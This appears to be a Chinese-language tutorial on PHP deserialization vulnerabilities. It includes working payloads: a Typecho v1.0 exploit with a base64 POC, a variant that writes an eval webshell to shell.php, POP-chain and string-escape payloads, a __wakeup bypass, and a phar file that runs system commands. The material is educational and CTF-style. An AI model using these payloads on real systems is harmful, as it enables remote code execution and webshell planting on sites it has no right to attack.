PHP中的反序列化漏洞

news2024/12/27 16:52:26

PHP中的反序列化漏洞

目录

  • PHP 中的序列化与反序列化

    • 概述

    • 序列化

      • 基本类型的序列化

      • 对象的序列化

    • 反序列化

    • 示例序列化与反序列化

  • 反序列化漏洞

    • - PHP 中的魔术方法

    • - Typecho_v1.0 中的反序列化漏洞

  • POP链的构造思路

    • pop链案例

    • 反序列化逃逸

      • 字符串逃逸(减少)

      • 字符串逃逸(增多)

      • 字符串逃逸(增多案例)

      • 字符串逃逸(减少案例)

  • weakup魔法函数的绕过

    • 漏洞产生原因

    • 案例

  • session反序列化

    • session存取数据的格式

      • 1、php存储方式

      • 2、php_serialize存储方式

      • 3、php_binary存储方式

    • PHP session反序列化漏洞

      • 案例一:

      • 案例二:

  • Phar反序列化

    • 什么是Phar

    • Phar文件的结构

    • Phar漏洞原理

    • phar漏洞利用案例

      • 案例一:

      • 案例二:

    • Phar使用条件总结

PHP 中的序列化与反序列化

概述

PHP 反序列化漏洞也叫 PHP 对象注入,是一个常见的漏洞,这种类型的漏洞虽然有些难以利用,但一旦利用成功就会造成非常危险的后果。

漏洞的形成的根本原因是程序没有对用户输入的反序列化字符串进行检测,导致反序列化过程可以被恶意控制,进而造成代码执行、getshell 等一系列不可控的后果。

反序列化漏洞并不是 PHP 特有,也存在于 Java、Python 等语言之中,但其原理基本相通。

PHP 中的序列化与反序列化,基本都是围绕 serialize() unserialize() 两个函数展开的。

序列化

基本类型的序列化
类型示例序列化后的格式
nullnullN;
整型123i:123;
浮点型3.14159d:3.1415899999999999
字符串“leyilea”s:7:“leyilea”;
布尔型trueb:1;
falseb:0;
数组array(1,true,“leyilea”);a:3:{i:0;i:1;i:1;b:1;i:2;s:7:“leyilea”;}
对象的序列化

不同属性序列化的区别

<?php

class Person{
    private $name = "leyilea";  // 私有属性
    public $age = 18;        // 公有属性
    protected $add = "bj";   // 受保护的属性
    public function test(){
        echo "hello".$this->name;
    }
}

$a=new Person();
echo serialize($a);


  • 成员方法不会被序列化
  • 私有属性序列化后会在变量名前加%00类名%00
  • 受保护的属性序列化后会在变量名前加%00*%00
O:6:"Person":3:{s:12:" %00 Person %00 name";s:7:"leyilea";s:3:"age";i:18;s:6:" %00*%00 add";s:2:"bj";}

一个对象在实例化一个类的时候,调用了另一个类实例化的对象。

<?php
class Person{
    public $age = 18;
}
class Test{
    var $a;
    function __construct()
    {
        $this->a = new Person();
    }
}

$a=new Test();
echo serialize($a);


序列化的结果:

O:4:"Test":1:{s:1:"a"; O:6:"Person":1:{s:3:"age";i:18;} }

反序列化

反序列化生成对象的值,由反序列化里的值提供,与原有类预定义的值无关。

<?php
class Person{
    public $name = "leyilea";
    private $age = 18;
    protected $add = "bj";
    public function test(){
        echo "hello".$this->name;
    }
}
$a = 'O:6:"Person":1:{s:4:"name";s:8:"system()";}';
var_dump(unserialize($a));

反序列化之后的结果:

object(Person)#1 (3) {
  ["name"]=>
  string(8) "system()"
  ["age":"Person":private]=>
  int(18)
  ["add":protected]=>
  string(2) "bj"
}

反序列化不触发类的成员方法(不包含魔术方法),需要调用才会触发。

示例序列化与反序列化

序列化会将一个抽象的对象转换为字符串。

首先创建一个类:

<?php
class Student{
  public $name;
  public $sex;
  public $age;
  public $score;
}
?>

类名是 Stuent,该类中有四个变量,将这个类实例化(创建一个对象), 将对象序列化为字符串:(当我们直接输出 $stu1 时会 error,对象无法转换为字符串)

<?php
$stu1 = new Student();
$stu1 ->name = "tom";
$stu1 ->sex = true; 
$stu1 ->age = 18;
$stu1 ->score = 89.9;
echo serialize($stu1);
?>

运行结果:

O:7:"Student":4:    # Object:类名长度为7:"类名为Student":4个属性
{s:4:"name";s:3:"tom";s:3:"sex";b:1;s:3:"age";i:18;s:5:"score";d:89.900000000000006;}
{string:属性1长度:"属性1";.....}

反序列化:

$str =<<<HTML
O:7:"Student":4:{s:4:"name";s:3:"tom";s:3:"sex";b:1;s:3:"age";i:18;s:5:"score";d:89.900000000000006;}
HTML;
var_dump(unserialize($str));

运行结果:

object(Student)#2 (4) {
  ["name"]=>
  string(3) "tom"
  ["sex"]=>
  bool(true)
  ["age"]=>
  int(18)
  ["score"]=>
  float(89.9)
}

整体代码:

<?php
class Student{
  public $name;
  public $sex;
  public $age;
  public $score;
};
$stu1 = new Student();
$stu1 ->name = "tom";
$stu1 ->sex = true;
$stu1 ->age = 18;
$stu1 ->score = 89.9;
var_dump($stu1);
echo "<hr />";
echo serialize($stu1);  //序列化

$str =<<<HTML
O:7:"Student":4:{s:4:"name";s:3:"tom";s:3:"sex";b:1;s:3:"age";i:18;s:5:"score";d:89.900000000000006;}
HTML;
echo "<hr />";
var_dump(unserialize($str)); //反序列化
?>

请添加图片描述

反序列化漏洞

这里我们定义一个类,一个属性,一个方法,由于反序列化要使用序列化后的字符串比较麻烦,我们可以将序列化的结果用一个变量接收 $t

<?php
class Test{
  public $str = "hello";
  function __destruct(){
    @eval($this -> str);
  }
}

$test = new Test();
$t = serialize($test);
echo $t;
echo "<hr />";
var_dump(unserialize($t));
?>

运行结果:
在这里插入图片描述

那么我们是不是可以修改变量 $t 为一个更灵活的方式 $_GET[obj] ,然后可以通过 obj 赋值:

<?php
<?php
class Test{
  public $str = "hello";
  function __destruct(){
    @eval($this -> str);
  }
}

$test = new Test();
echo serialize($test);
echo "<hr />";
$t = $_GET['obj'];
echo $t;
echo "<hr />";
var_dump(unserialize($t));   //反序列化生成一个对象
?>

赋值并运行:
在这里插入图片描述

如果我们修改其中的值:修改为 phpinfo()
在这里插入图片描述

结果:为我们编译了 phpinfo()

查找原因:该类中只有一个方法 __destruct(),方法中有一个函数 eval,所以只可能是它,但我们并没有去调用该方法,它是怎么执行的?

PHP 中的析构函数(destruct),当对象结束其生命周期时,系统自动执行析构函数;它与构造函数(construct)刚好相反,构造函数是在对象创建时自动调用。

- PHP 中的魔术方法

__ 开头的方法,是 PHP 中的魔术方法,类中的魔术方法,在特定情况下会被自动调用。主要魔术方法如下。

__construct()              在创建对象时自动调用
__destruct()               在销毁对象时自动调用
__call()                   在对象中调用一个不可访问方法时,call() 会被调用
__callStatic()             在静态上下文中调用一个不可访问方法时调用
__get()                    读取不可访问属性的值时会被调用
__set()                    在给不可访问属性赋值时会被调用
__isset()                  当对不可访问属性调用isset() 或empty()时会被调用
__unset()                  当对不可访问属性调用unset() 时会被调用
__sleep()                  serialize()函数会检查类中是否存在一个魔术方法__sleep(),如果存在,该方法会先被调用,然后才执行序列化操作
__wakeup()                 unserialize()函数会检查是否存在一个__wakeup() 方法,如果存在,则会先调用__wakeup方法,预先准备对象需要的资源。
__toString( )              toString()方法用于一个类被当成字符串时应怎样回应。
__invoke()                 当尝试以调用函数的方式调用一个对象时会被自动调用
_set_state()               自PHP 5.1.0起当调用var_export()导出类时,此静态方法会被调用。
__clone()                  当复制完成时,如果定义了__clone() 方法,则新创建的对象(复制生成的对象)中的__clone()方法会被调用,可用于修改属性的值(如果有必要的话)。

参考:https://www.freebuf.com/articles/web/167721.html

- Typecho_v1.0 中的反序列化漏洞
  1. 搭建网站(需要手动创建数据库)http://typecho.org/

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

  1. 我们使用 exp 生成反序列化后的对象 (字符串),并且进行 base64 编码。

    EXP 代码:

    <?php
    class Typecho_Feed{
        const RSS1 = 'RSS 1.0';
        const RSS2 = 'RSS 2.0';
        const ATOM1 = 'ATOM 1.0';
        const DATE_RFC822 = 'r';
        const DATE_W3CDTF = 'c';
        const EOL = "\n";
        private $_type;
        private $_items;
    
        public function __construct(){
            $this->_type = $this::RSS2;
            $this->_items[0] = array(
                'title' => '1',
                'link' => '1',
                'date' => 1508895132,
                'category' => array(new Typecho_Request()),
                'author' => new Typecho_Request(),
            );
        }
    }
    
    class Typecho_Request{
        private $_params = array();
        private $_filter = array();
        
        public function __construct(){
            
            $this->_params['screenName'] = 'phpinfo()';
            $this->_filter[0] = 'assert';
        }
    }
    
    $exp = array(
        'adapter' => new Typecho_Feed(),
        'prefix' => 'typecho_'
    );
    
    echo base64_encode(serialize($exp));
    ?>
    
    

    生成的 poc:

    YToyOntzOjc6ImFkYXB0ZXIiO086MTI6IlR5cGVjaG9fRmVlZCI6Mjp7czoxOToiAFR5cGVjaG9fRmVlZABfdHlwZSI7czo3OiJSU1MgMi4wIjtzOjIwOiIAVHlwZWNob19GZWVkAF9pdGVtcyI7YToxOntpOjA7YTo1OntzOjU6InRpdGxlIjtzOjE6IjEiO3M6NDoibGluayI7czoxOiIxIjtzOjQ6ImRhdGUiO2k6MTUwODg5NTEzMjtzOjg6ImNhdGVnb3J5IjthOjE6e2k6MDtPOjE1OiJUeXBlY2hvX1JlcXVlc3QiOjI6e3M6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX3BhcmFtcyI7YToxOntzOjEwOiJzY3JlZW5OYW1lIjtzOjk6InBocGluZm8oKSI7fXM6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX2ZpbHRlciI7YToxOntpOjA7czo2OiJhc3NlcnQiO319fXM6NjoiYXV0aG9yIjtPOjE1OiJUeXBlY2hvX1JlcXVlc3QiOjI6e3M6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX3BhcmFtcyI7YToxOntzOjEwOiJzY3JlZW5OYW1lIjtzOjk6InBocGluZm8oKSI7fXM6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX2ZpbHRlciI7YToxOntpOjA7czo2OiJhc3NlcnQiO319fX19czo2OiJwcmVmaXgiO3M6ODoidHlwZWNob18iO30=
    
    
  2. 漏洞存在

    我们将 poc 代码赋值给 __typecho_config 变量,然后通过 POST 方式提交到链接 http://192.168.40.129/Typechov1/install.php?finish= ,并且设置 Referer=http://192.168.40.129/typechov11/

    成功弹出 phpinfo 界面。

  3. 注入一句话木马

    $this->_params['screenName'] = "fputs(fopen('shell.php','w'),'<?php @eval(\$_REQUEST[777])?>')";
    
    

    再次生成 POC,注入参数:

  4. 成功生成 shell.php,使用中国蚁剑连接

POP链的构造思路

pop链案例

<?php
class Modifier{
    private $var;
    public function append($value){
        include($value);
        echo $flag;
    }
    public function __invoke(){
        $this->append($this->var);
    }
}

class Show{
    public $source;
    public $str;
    public function __toString(){
        return $this->str->source;
    }
    public function __wakeup(){
        echo $this->source;
    }
}

class Test{
    public $p;
    public function __construst(){
        $this->p=array();
    }
    public function __get($key){
        $function=$this->p;
        return $function();
    }
}

if(isset($_GET['pop'])){
    echo $_GET['pop'];
    unserialize($_GET['pop']);
}

highlight_file(__FILE__);
error_reporting(0);
?>

构造payload

<?php
class Modifier{
    private $var="flag.php";
}

class Show{
    public $source;
    public $str;
}

class Test{
    public $p;
}

$a = new Modifier();
$b = new Show();
$c = new Test();
$c->p = $a;
$b->source = $b;
$b->str = $c;

echo serialize($b);

?>

反序列化逃逸

反序列化分隔符

  • 反序列化以;}结束,后面的字符串不影响正常的反序列化。

属性逃逸

  • 一般在数据先经过一次serialize再经过unserialize,在这个中间反序列化的字符串变多或者变少的时候有可能存在反序列化属性逃逸。

反序列化的几个特性:

<?php
$flag = "flag{1uiodjkahsdou1q}";

class A{
    public $v1 = "a";
}
echo serialize(new A());
// O:1:"A":1:{s:2:"v1";s:1:"a";}

$b = 'O:1:"A":1:{s:2:"v1";s:1:"a";s:2:"v2";N;}';
var_dump(unserialize($b));
// bool(false) 因为成员数量不对

$b = 'O:1:"A": 2 :{s:2:"v1";s:1:"a";s:2:"v2";N;}';
var_dump(unserialize($b));
// 正常执行

$b = 'O:1:"A":2:{s:2:"v1";s:1:"a";s: 5 :"v2";N;}';
var_dump(unserialize($b));
// bool(false) 因为长度值和实际长度不一致

$b = 'O:1:"A":2:{s:2:"v1";s:1:"a";s:2:"v2";N;} s:2:"v2";N;} ';
var_dump(unserialize($b));
// 正常执行,在前面字符串没有问题的情况下,;}是反序列化结束符,后面的字符串不影响反序列化结果
<?php
$flag = "flag{1uiodjkahsdou1q}";

class A{
    public $v1 = "a\"b";
}
echo serialize(new A());
// O:1:"A":1:{s:2:"v1";s: 3 :"a " b";}
// 引号是字符还是格式字符,由前面的长度3来确定

属性逃逸

一般在数据先经过一次seralize再经过unserialize,在这个中间反序列化的字符串变多或者变少的时候才有可能存在反序列化属性逃逸。

字符串逃逸(减少)

反序列化字符串减少逃逸;多逃逸出一个成员属性。第一个字符串减少,吃掉有效代码,在第二个字符串构造代码。

<?php
class A{
    public $v1 = "hellosystem()";
    public $v2 = "666";
}

$data = serialize(new A());
$data = str_replace("system()","",$data);  // 将system()替换为空
echo $data;
?>
O:1:"A":2:{s:2:"v1";s:13:"hellosystem()";s:2:"v2";s:3:"666";} 
// 经过替换,字符串如下
O:1:"A":2:{s:2:"v1";s:13:" hello";s:2:"v 2";s:3:" 666 ";} 
// 字符串缺失,导致结构被破坏,反序列化不成功

// 通过此特点(字符串减少),进行逃逸
O:1:"A":2:{s:2:"v1";s: ? :"hello";s:2:"v2";s: XX :" ";s:2:"v3";s:3:"123 ";} 
// 先补充要逃逸的功能性代码(比如这里要逃逸出v3属性)
// 然后需要多吃几个字符,使功能性代码进行反序列化

O:1:"A":2:{s:2:"v1";s: ? :"hello";s:2:"v2";s: 19 :" ";s:2:"v3";s:3:"123 ";}

O:1:"A":2:{s:2:"v1";s: ? :" hello";s:2:"v2";s:19:" ";s:2:"v3";s:3:"123";} 
// 加上原有的 hello,一共需要吃掉22个字符
// 一个system()是8个字符,加上 hello的5个字符
// 所以最少需要3个system(),这样就需要吃掉 3*8+5= 29 个字符
O:1:"A":2:{s:2:"v1";s: 29 :" hello system()system()system() ";s:2:"v2";s:19:"";s:2:" v3";s:3:"123";}
// 这样 比之前的22个字符多了7个字符,这7个字符是多吃掉的,所以需要再后面多补7个字符
O:1:"A":2:{s:2:"v1";s: 29 :" hello system()system()system() ";s:2:"v2";s:19:" 1234567 ";s:2:"v3";s:3:"123";}
// 最终过滤了system()后剩下的内容,刚好能够反序列化自己构造的功能性代码
O:1:"A":2:{s:2:"v1";s: 29 :" hello";s:2:"v2";s:19:" 1234567 ";s:2:"v3";s:3:"123";}


<?php
class A{
    public $v1 = "hellosystem()";
    public $v2 = "666";

    public function __construct($arga,$argb){
        $this->v1 = $arga;
        $this->v2 = $argb;
    }
}
$a = $_GET['v1'];
$b = $_GET['v2'];
$data = serialize(new A());
$data = str_replace("system()","",$data);  // 将system()替换为空
echo $data;

var_dump(unserialize($data));


highlight_file(__FILE__);
error_reporting(0);
?>

在这里插入图片描述

字符串逃逸(增多)

反序列化字符串增多逃逸;构造一个逃逸成员属性。第一个字符串增多,吐出多余代码,把多余代码构造成逃逸的成员属性。

<?php
class A{
    public $v1 = "ls";
    public $v2 = "666";
}

$data = serialize(new A());
$data = str_replace("ls","pwd",$data);  // 将ls替换为pwd
echo $data;
?>

未经过替换的序列化字符串为:

O:1:"A":2:{s:2:"v1";s:2:"pwd";s:2:"v2";s:3:"666";}

经过替换后的字符串为:

O:1:"A":2:{s:2:"v1";s:2:" pw d";s:2:"v2";s:3:"666";}

字符串增多,导致结构被破坏,反序列化不成功。

通过此特点(字符串增多),进行逃逸:

O:1:"A":2:{s:2:"v1";s: ? :" ls ";s:2:"v3";s:3:"123";} ";s:2:"v2";s:3:"666";}

先构造出完整的逃逸属性,如上。

因为一个ls替换为pwd,会多出1个字符。构造出的逃逸属性需要22个字符。所以需要22个ls。即:

O:1:"A":2:{s:2:"v1";s: ? :" lslslslslslslslslslslslslslslslslslslslslsls ";s:2:"v3";s:3:"123";} ";s:2:"v2";s:3:"666";}

则v1的字符串长度为 2*22+22=65。即

O:1:"A":2:{s:2:"v1";s: 65 :" lslslslslslslslslslslslslslslslslslslslslsls ";s:2:"v3";s:3:"123";} ";s:2:"v2";s:3:"666";}

经字符串替换后为:

O:1:"A":2:{s:2:"v1";s: 63 :" pwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwd ";s:2:"v3";s:3:"123";} ";s:2:"v2";s:3:"666";}

此时v3会被逃逸出来,因为构造的v3字符串后有;},反序列化时会认为结束。

<?php
class A{
    public $v1 = "ls";
    public $v2 = "666";

    public function __construct($arga,$argb){
        $this->v1 = $arga;
        $this->v2 = $argb;
    }
}
$a = $_GET['v1'];
$b = $_GET['v2'];
$data = serialize(new A($a,$b));
$data = str_replace("ls","pwd",$data);  // 将ls替换为pwd
echo $data;

var_dump(unserialize($data));

highlight_file(__FILE__);
error_reporting(0);
?>

最终反序列化的结果为:
在这里插入图片描述

字符串逃逸(增多案例)

<?php
function filter($str){
    $safe = array("flag","php");
    $str = str_replace($safe,"hack","$str"); // 将flag和php替换为hack
    return $str;
}

class Test{
    var $user;
    var $pass = 'daydream';
    function __construst(){
        $this->user = $user;
    }
}

$param = $_GET['param'];
$param = serialize(new Test($param));
$profile = unserialize(filter($param));

if($profile->pass=='escaping'){
    echo file_get_contents("flag.php");
}


highlight_file(__FILE__);
error_reporting(0);
?>

因为题目将flag和php替换为hack,其中flag替换为hack没有发生增多或者减少的变化,所以不能用于逃逸,只能利用php替换hack,一个php替换为hack增多1个字符,所以按照字符串增多的方式逃逸。

根据题意,使用以下代码生成对应的序列化字符串。

<?php
class Test
{
    var $user = 'a';
    var $pass = 'daydream';
}
echo serialize(new Test());

O:4:"Test":2:{s:4:"user";s:1:"a";s:4:"pass";s:8:"daydream";}

补全需要逃逸的属性:

O:4:"Test":2:{s:4:"user";s:1:"a ";s:4:"pass";s:8:"escaping";} ";s:4:"pass";s:8:"daydream";}

需要逃逸出29个字符,那就需要29个php:

O:4:"Test":2:{s:4:"user";s: 116 :" phpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphp ";s:4:"pass";s:8:"escaping";} ";s:4:"pass";s:8:"daydream";}

替换为hack后为:

O:4:"Test":2:{s:4:"user";s: 116 :" hackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhack ";s:4:"pass";s:8:"escaping";} ";s:4:"pass";s:8:"daydream";}

pass属性被逃逸出来。
在这里插入图片描述

字符串逃逸(减少案例)

<?php
function filter($str){
    $safe = array("flag","php");
    $str = str_replace($safe,"bj","$str"); // 将falg和php替换为bj
    return $str;
}

class Test{
    var $user;
    var $pass = 'daydream';
    var $vip = false;
    function __construct($user,$pass){
        $this->user = $user;
        $this->pass = $pass;
    }
}

$user = $_GET['user'];
$pass = $_GET['pass'];
$param = serialize(new Test($user,$pass));
$profile = unserialize(filter($param));

if($profile->vip){
    echo "flag";
    echo file_get_contents("flag.php");
}

highlight_file(__FILE__);
error_reporting(0);
?>

<?php
class Test{
    var $user = 'a';
    var $pass = 'daydream';
    var $vip = false;
}

echo serialize(new Test());
O:4:"Test":3:{s:4:"user";s:1:"a";s:4:"pass";s:8:"daydream";s:3:"vip";b:0;}

因为题目将flag和php替换为bj,利用php替换bj,一个php替换为hack减少1个字符,所以按照字符串减少的方式逃逸。

O:4:"Test":3:{s:4:"user";s:1:"a";s:4:"pass";s:8:"daydream";s:3:"vip";b:0;}

把需要逃逸的字符串补全(注意不能落下pass,因为需要属性有3个):

O:4:"Test":3:{s:4:"user";s:1:"a ";s:4:"pass";s:30:" ";s:4:"pass";N;s:3:"vip";b:1;} ";s:3:"vip";b:0;}

需要逃逸出19个字符,那就需要19个php。

O:4:"Test":3:{s:4:"user";s: 76 :" phpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphp ";s:4:"pass";s:30:" ";s:4:"pass";N;s:3:"vip";b:1;} ";s:3:"vip";b:0;}

替换为bj后为:

O:4:"Test":3:{s:4:"user";s: 76 :" bjbjbjbjbjbjbjbjbjbjbjbjbjbjbjbjbjbjbjbjbjbjbjbj";s:4:"pass";s:30:" ";s:4:"pass";N;s:3:"vip";b:1;} ";s:3:"vip";b:0;}

vip属性被逃逸出来。
在这里插入图片描述

weakup魔法函数的绕过

漏洞产生原因

如果存在__wakeup方法,调用unserilize()方法前则先调用__wakeup()方法,但是序列化字符串中表示对象属性个数的值大于真实的属性个数时,会跳过__wakeup()的执行。

漏洞编号:CVE-2016-7124

影响版本:PHP5<5.6.25;PHP7<7.0.10

案例
<?php
error_reporting(0);
class secret{
    var $file = 'index.php';
    function __construct($file){
        $this->file = $file;
    }
    function __destruct(){
        include_once($this->file);
        echo $flag;
    }
    function __wakeup(){
        $this->file='index.php';
    }
}

$cmd = $_GET['cmd'];
if(!isset($cmd)){
    highlight_file(__FILE__);
}else{
    if(preg_match('/[oc]:\d+/i',$cmd)){
        echo "Are you daydreaming?";
    }else{
        unserialize($cmd);
    }
}
?>

构造反序列化字符串payload

<?php
class secret{
    var $file = 'flag.php';
}

echo serialize(new secret());

得到反序列化字符串如下:

O:6:"secret":1:{s:4:"file";s:8:"flag.php";}

将字符串进行修改(将属性数量修改为2,绕过weakup方法):

O:6:"secret": 2 :{s:4:"file";s:8:"flag.php";}

题目中通过正则过滤了o:后面直接加数字的情况,可以通过添加+号绕过。

O: + 6:"secret":2:{s:4:"file";s:8:"flag.php";}

然后进行url编码:

<?php
echo urlencode('O:+6:"secret":2:{s:4:"file";s:8:"flag.php";}');

得到payload:

O%3A%2B6%3A%22secret%22%3A2%3A%7Bs%3A4%3A%22file%22%3Bs%3A8%3A%22flag.php%22%3B%7D

提交给页面,获得flag
在这里插入图片描述

session反序列化

当session_start()被调用或者php.ini之后session.auto_start为1时,PHP内部调用会话管理器,访问用户session被序列化以后,存储到指定目录(默认为/tmp)。

存取数据的格式有多种,常用的有三种:
在这里插入图片描述

漏洞产生原因:写入格式和读取格式不一致。

session存取数据的格式

1、php存储方式
<?php
session_start();
$_SESSION['aaa'] = $_GET['a'];
?>

在这里插入图片描述
在这里插入图片描述

存储的格式:

aaa|s:6:"123456";
2、php_serialize存储方式
<?php
ini_set('session.serialize_handler','php_serialize');  // 指定存储方式为php_serialize
session_start();

$_SESSION['aaa'] = $_GET['a'];
$_SESSION['bbb'] = $_GET['b'];
?>

在这里插入图片描述
在这里插入图片描述

存储的格式:

a:2:{s:3:"aaa";s:6:"123456";s:3:"bbb";s:8:"zhangsan";}

相当于对数组的序列化格式:

$b = array(
    "aaa"=>"123456",
    "bbb"=>"zhangsan"
);
echo serialize($b);
3、php_binary存储方式
<?php
ini_set('session.serialize_handler','php_binary');
session_start();

$_SESSION['aaa'] = $_GET['a'];
$_SESSION['bbb'] = $_GET['b'];

?>

在这里插入图片描述

在这里插入图片描述

存储的格式:

 . aaas:6:"123456"; . bbbs:8:"zhangsan";

使用010editer查看该session文件:(前面的字符为二进制的键名长度)
在这里插入图片描述

PHP session反序列化漏洞

当网站序列化并存储session,与反序列化并读取session的方式不同,就可能导致session反序列化漏洞的产生。

案例一:

save.php(存储session)

<?php
ini_set("session.serialize_handler","php_serialize");
session_start();
$_SESSION['aaa'] = $_GET['a'];

?>

vul.php(读取session)

<?php
ini_set("session.serialize_handler","php");
session_start();
class A{
    var $a;
    function __destruct(){
        eval($this->a);
    }
}
?>

在这里插入图片描述

存储的session为:

a:1:{s:3:"aaa";s:37:"| O:1:"A":1:{s:1:"a";s:10:"phpinfo();";}" ;}

访问vul.php,session进行读取,触发反序列化,将O:1:"A":1:{s:1:"a";s:10:"phpinfo();";}"进行反序列化,成功执行eval(“phpinfo()”);

  • 因为php方式的session存储,在读取时会对|后面的内容进行反序列化。
    在这里插入图片描述
案例二:

demo03.php

<?php
// 另一个页面:hint.php
session_start();
class Flag{
    public $name;
    public $her;
    function __wakeup(){
        $this->her=md5(rand(1,1000));
        if($this->name===$this->her){
            include("flag.php");
            echo $flag;
        }
    }
}

highlight_file(__FILE__);
error_reporting(0);
?>

hint.php

<?php
ini_set("session.serialize_handler","php_serialize");
session_start();
$_SESSION['aaa'] = $_GET['a'];

highlight_file(__FILE__);
error_reporting(0);
?>

构造序列化数据:

  • 因为题目要求$name和$her需要全等,所以这里需要采用引用的方式
<?php
class Flag{
    public $name;
    public $her;
}

$a = new Flag();
$a->name = &$a->her;   // 引用
echo serialize($a);

序列化出来的数据为:

O:4:"Flag":2:{s:4:"name";N;s:3:"her";R:2;}

通过hint.php页面存储session,因为读取session数据的方式为默认的PHP方式,所以在传入数据时在前面加|
在这里插入图片描述

然后访问页面,成功读取flag。
在这里插入图片描述

Phar反序列化

什么是Phar

JAR是开发Java程序一个应用,包括所有的可执行、可访问的文件,都打包进了一个JAR文件里,使得部署过程十分简单。

PHAR(“PHP ARchive”)是PHP里类似于JAR的一种打包文件。对于PHP5.3或更高版本,Phar后缀文件是默认开启支持的,可以直接使用它。

文件包含:phar伪协议,可读取.phar文件。

Phar文件的结构

  • stub phar文件标识,格式为xxx<?php xxx;__HALT_COMPILER(); ?>(头部信息)
  • manifest 压缩文件的属性等信息,以序列化存储;
  • contents压缩文件的内容;
  • signature签名,放在文件末尾。

Phar协议解析文件时,会自动触发对manifest字段的序列化字符串进行反序列化。
在这里插入图片描述

在这里插入图片描述

Phar漏洞原理

  • manifest压缩文件的属性等信息,以序列化存储;存在一段序列化的字符串;
  • 调用phar伪协议,可读取.phar文件;
  • Phar协议解析文件时,会自动触发对manifest字段的序列化字符串进行反序列化。
  • Phar需要PHP≥5.2,在php.ini中将phar.readonly设为Off(注意删掉前面的分号)

受影响的函数
在这里插入图片描述

phar漏洞利用案例

案例一:

存在phar反序列化漏洞的代码:

<?php
highlight_file(__FILE__);

class TestObj{
    var $output = "echo 'OK';";
    function __destruct(){
        eval($this->output);
    }
}

if(isset($_GET['filename'])){
    $filename=$_GET['filename'];
    var_dump(file_exists($filename)); 
}

生成phar文件的模版代码:

<?php
class TestObj{
    var $output='';
}

@unlink('test.phar');  // 删除之前的test.phar文件(如果有)
$phar = new Phar('test.phar'); // 创建一个phar对象,文件名必须以phar为后缀
$phar->startBuffering();  // 开始写文件
$phar->getSize('<?php __HALT_COMPLIER(); ?>');  // 写入stub

$o = new TestObj();
$o->output='eval($_GET["a"]);';

$phar->setMetadata($o);  // 写入meta-data
$phar->addFromString("test.txt","test"); // 添加要压缩的文件
$phar->stopBuffering();
?>

浏览器访问

http://xxoo.com/a/usePhar.php?filename=phar://test.phar&a=system(%27ls%27);

在这里插入图片描述

1、file_exists()函数有文件包含的功能,可调用phar伪协议读取phar文件(test.phar)

2、phar协议解析文件时,会自动触发manifest字段的序列化字符串进行反序列化

3、反序列化将触发__destruct(),执行eval($this->output);eval('eval($_GET["a"]);');eval($_GET["a"]);

4、通过参数a传入需要执行的代码“system('ls');”等,成功执行。

案例二:
<?php
class TestObject{
    public function __destruct(){
        include('flag.php');
        echo $flag;
    }
}

$filename = $_POST['file'];
if(isset($filename)){
    echo md5_file($filename);
}

Phar使用条件总结

1、phar文件能上传到服务器端;(可以利用上传功能,文件后缀可以不是.phar)

2、要有可用反序列化魔术方法作为跳板;

3、要有文件操作函数,如file_exists(),fopen(),file_get_contents()

4、文件操作函数参数可控,且:/phar等特殊字符没有被过滤

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1517347.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

GoLang:云原生时代致力于构建高性能服务器的后端语言

Go语言的介绍 概念 Golang&#xff08;也被称为Go&#xff09;是一种编程语言&#xff0c;由Google于2007年开始设计和开发&#xff0c;并于2009年首次公开发布。Golang是一种静态类型、编译型的语言&#xff0c;旨在提供高效和可靠的软件开发体验。它具有简洁的语法、高效的编…

C# wpf 使用GDI实现截屏

wpf截屏系列 第一章 使用GDI实现截屏&#xff08;本章&#xff09; 第二章 使用GDI实现截屏 第三章 使用DockPanel制作截屏框 第四章 实现截屏框热键截屏 第五章 实现截屏框实时截屏 第六章 使用ffmpeg命令行实现录屏 文章目录 wpf截屏系列前言一、导入gdi32方法一、NuGet获取…

【LeetCode: 102. 二叉树的层序遍历 + bfs】

&#x1f680; 算法题 &#x1f680; &#x1f332; 算法刷题专栏 | 面试必备算法 | 面试高频算法 &#x1f340; &#x1f332; 越难的东西,越要努力坚持&#xff0c;因为它具有很高的价值&#xff0c;算法就是这样✨ &#x1f332; 作者简介&#xff1a;硕风和炜&#xff0c;…

国产化三防笔记本丨亿道国产加固笔记本FT-2000/4处理器

国产化加固笔记本是指采用国产操作系统和处理器&#xff0c;通过技术手段对其进行硬件加固、软件加密、数据安全等多方面加强处理的产品。这种笔记本电脑通常被用于政府项目、金融行业等对安全性要求极高的领域。 在国产化加固笔记本中&#xff0c;硬件加固是重要的一环。为了保…

架构实战--以海量存储系统讲解热门话题:分布式概念

关注我&#xff0c;持续分享逻辑思维&管理思维&#xff1b; 可提供大厂面试辅导、及定制化求职/在职/管理/架构辅导&#xff1b; 有意找工作的同学&#xff0c;请参考博主的原创&#xff1a;《面试官心得--面试前应该如何准备》&#xff0c;《面试官心得--面试时如何进行自…

腾讯云轻量服务器地域选择教程,2024最新地域选择攻略

腾讯云服务器地域怎么选择&#xff1f;不同地域之间有什么区别&#xff1f;腾讯云哪个地域好&#xff1f;地域选择遵循就近原则&#xff0c;访客距离地域越近网络延迟越低&#xff0c;速度越快。腾讯云百科txybk.com告诉大家关于地域的选择还有很多因素&#xff0c;地域节点选择…

Github主页设置贪吃蛇详细教程

先看最终实现结果&#xff1a; 有条贪吃蛇放在主页还是蛮酷的哈哈哈。接下来我来讲一讲怎么在Github主页添加一条贪吃蛇。 首先要修改自己的Github的主页&#xff0c;我们得有一个特殊的仓库——这个仓库必须与你的Github用户名保持一致&#xff0c;并且需要公开&#xff0c…

ArcGIS全系列实战视频教程——9个单一课程组合+系列直播回放

